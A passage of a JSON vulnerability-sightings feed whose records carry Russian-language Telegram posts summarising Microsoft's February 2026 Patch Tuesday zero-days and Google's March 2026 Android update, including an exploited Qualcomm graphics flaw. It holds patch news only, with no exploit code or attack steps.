\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b. \n\n#Microsoft #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-02-11T07:10:04.000000Z"}, {"uuid": "7e750af8-7bed-4051-a7c6-91651f883609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21514", "type": "seen", "source": "https://t.me/kasperskyb2b/2078", "content": "\ud83d\udc98 \u0424\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 Patch Tuesday: \u0428\u0415\u0421\u0422\u042c \ud83d\udd25 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432 \u0432 \u00ab\u0433\u043e\u0440\u044f\u0447\u0438\u0439\u00bb \u0441\u0435\u0437\u043e\u043d\n\nMicrosoft \u0434\u0430\u0440\u0438\u0442 \u0432\u0441\u0435\u043c \u0432\u043b\u044e\u0431\u043b\u0451\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043f\u0430\u0442\u0447\u0435\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e, \u043d\u043e \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u044f\u0435\u0442 \u0447\u0438\u0441\u043b\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432. \u0412\u0441\u0435\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (62 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432), \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 5 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 (3 EoP \u0438 2 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438). \u0412\u0441\u0435\u0433\u043e 25 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, 12 \u2014 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, 7 \u2014 \u0441\u043f\u0443\u0444\u0438\u043d\u0433\u0443, 6 \u2014 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 5 \u2014 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 3 \u2014 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438. \n\n\u0426\u0435\u043b\u044b\u0445 6 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u0442\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445 Microsoft  \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043a\u0430\u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0451\u043d\u043d\u044b\u0435 \u0435\u0449\u0451 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0435\u0439, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0433\u0434\u0435 \u044d\u0442\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e. \u0412 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u043b\u0443\u0447\u0448\u0435 \u043d\u0435 \u0442\u044f\u043d\u0443\u0442\u044c.\n\n\ud83d\udd25 \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \n\n\ud83d\udfe2 CVE-2026-21510 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows Shell. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u044f\u0440\u043b\u044b\u043a \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 SmartScreen \u0438 Mark of the Web. \u0417\u0430 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 Google TAG, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430.\n\n\ud83d\udfe2 CVE-2026-21513 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 MSHTML (\u043f\u0440\u0438\u0432\u0435\u0442, Internet Explorer). \u0414\u0430, IE \u043c\u0451\u0440\u0442\u0432, \u043d\u043e \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0432\u0441\u0451 \u0435\u0449\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0430 \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u0441\u0431\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\ud83d\udfe2 CVE-2026-21514 (CVSS 7.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u0449\u0438\u0442\u044b \u0432 Microsoft Word. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0435 COM/OLE \u043e\u0431\u044a\u0435\u043a\u0442\u044b. \u0425\u043e\u0440\u043e\u0448\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c: \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043d\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430  \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0417\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u0441\u0451 \u0442\u0435\u0445 \u0436\u0435, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043b\u0438 \u044d\u0442\u0438 \u0442\u0440\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435, \u0438\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0445.\n\n\ud83d\udfe2 CVE-2026-21519 (CVSS 7.8) \u2014 EoP \u0432 Desktop Window Manager. \u0412\u0442\u043e\u0440\u043e\u0439 \u043c\u0435\u0441\u044f\u0446 \u043f\u043e\u0434\u0440\u044f\u0434 \u0432 DWM \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0434\u044b\u0440\u0443, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 SYSTEM. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u043f\u0430\u0442\u0447 \u0431\u044b\u043b \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u043c.\n\n\ud83d\udfe2 CVE-2026-21533 (CVSS 7.8) \u2014 EoP \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 Remote Desktop Services. \u041d\u0435 \u0434\u0430\u0439\u0442\u0435 \u0441\u043b\u043e\u0432\u0443 Remote \u0432\u0430\u0441 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u2014 \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e SYSTEM. \n\n\ud83d\udfe2 CVE-2026-21525 (CVSS 6.2) \u2014 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u0420\u0435\u0434\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f DoS  \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f.\n\n\u2601\ufe0f  \u041e\u0431\u043b\u0430\u043a\u0430 \u0438 \u0418\u0418\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432\u0441\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a Azure. \u041f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b Microsoft \u043d\u0430 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 CVE-2026-21522, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 ACI Confidential Containers.\n\n\u0422\u0430\u043a\u0436\u0435 Microsoft \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043b\u0430\u0442\u0430\u0442\u044c \u0434\u044b\u0440\u044b \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441 \u0418\u0418. \u0417\u0430\u043a\u0440\u044b\u0442\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e RCE \u0432 GitHub Copilot \u0438 Visual Studio (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2026-21523 \u0438 CVE-2026-21516), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 IDE. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u043e\u043d\u0438 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u043c\u043f\u0442-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438.\n\n\ud83d\udd10 Secure Boot\n\u0421 \u044d\u0442\u0438\u043c \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u043c \u0430\u043a\u0442\u0438\u0432\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Secure Boot. \u0421\u0442\u0430\u0440\u044b\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b 2011 \u0433\u043e\u0434\u0430 \u0438\u0441\u0442\u0435\u043a\u0430\u044e\u0442 \u0432 \u0438\u044e\u043d\u0435 2026, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Windows \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0438\u0445 \u0442\u0430\u043c, \u0433\u0434\u0435 \u044d\u0442\u043e \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0440\u0438\u0441\u043a\u0430 \u00ab\u043e\u043a\u0438\u0440\u043f\u0438\u0447\u0438\u0442\u044c\u00bb \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440. \u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u044b, \u0433\u0434\u0435 \u043f\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u0441\u0430\u043c\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b. \n\n#Microsoft #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-02-11T07:10:04.000000Z"}, {"uuid": "b9784f42-49e2-4957-b7b4-7c79d643791f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "seen", "source": "https://t.me/true_secator/7956", "content": "Google \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f 129 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Android, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e 0-day \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u0434\u0438\u0441\u043f\u043b\u0435\u044f Qualcomm.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e Google \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 CVE-2026-21385, Qualcomm \u0432 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432 \u043f\u043e\u0434\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Graphics, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438. \n\nQualcomm \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043e\u0431 \u044d\u0442\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 18 \u0434\u0435\u043a\u0430\u0431\u0440\u044f \u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 2 \u0444\u0435\u0432\u0440\u0430\u043b\u044f.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u043e\u043a\u0430 \u043d\u0435 \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e CVE-2026-21385 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 235 \u0447\u0438\u043f\u0441\u0435\u0442\u043e\u0432 Qualcomm.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u043e\u0439 CVE-2026-21385 Google \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 10 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 System, Framework \u0438 Kernel, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f RCE, EoP \u0438\u043b\u0438 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f DoS.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0438\u0437 \u043d\u0438\u0445 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 System, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0430\u0432 \u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\nGoogle \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0434\u0432\u0430 \u043d\u0430\u0431\u043e\u0440\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439: \u0443\u0440\u043e\u0432\u043d\u0438 01.03.2026 \u0438 05.03.2026. \n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u044f \u0432\u0441\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437 \u043f\u0435\u0440\u0432\u043e\u0433\u043e, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0438 \u044f\u0434\u0435\u0440\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043d\u0435\u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u044b \u043a\u043e \u0432\u0441\u0435\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c Android.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Google Pixel \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u0443\u043f\u044f\u0442 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e, \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f\u043c \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438\u0445 \u043f\u043e\u0434 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.", "creation_timestamp": "2026-03-03T11:15:21.000000Z"}, {"uuid": "a727ee46-c6f6-4d73-96fa-9b7708fa6b56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": 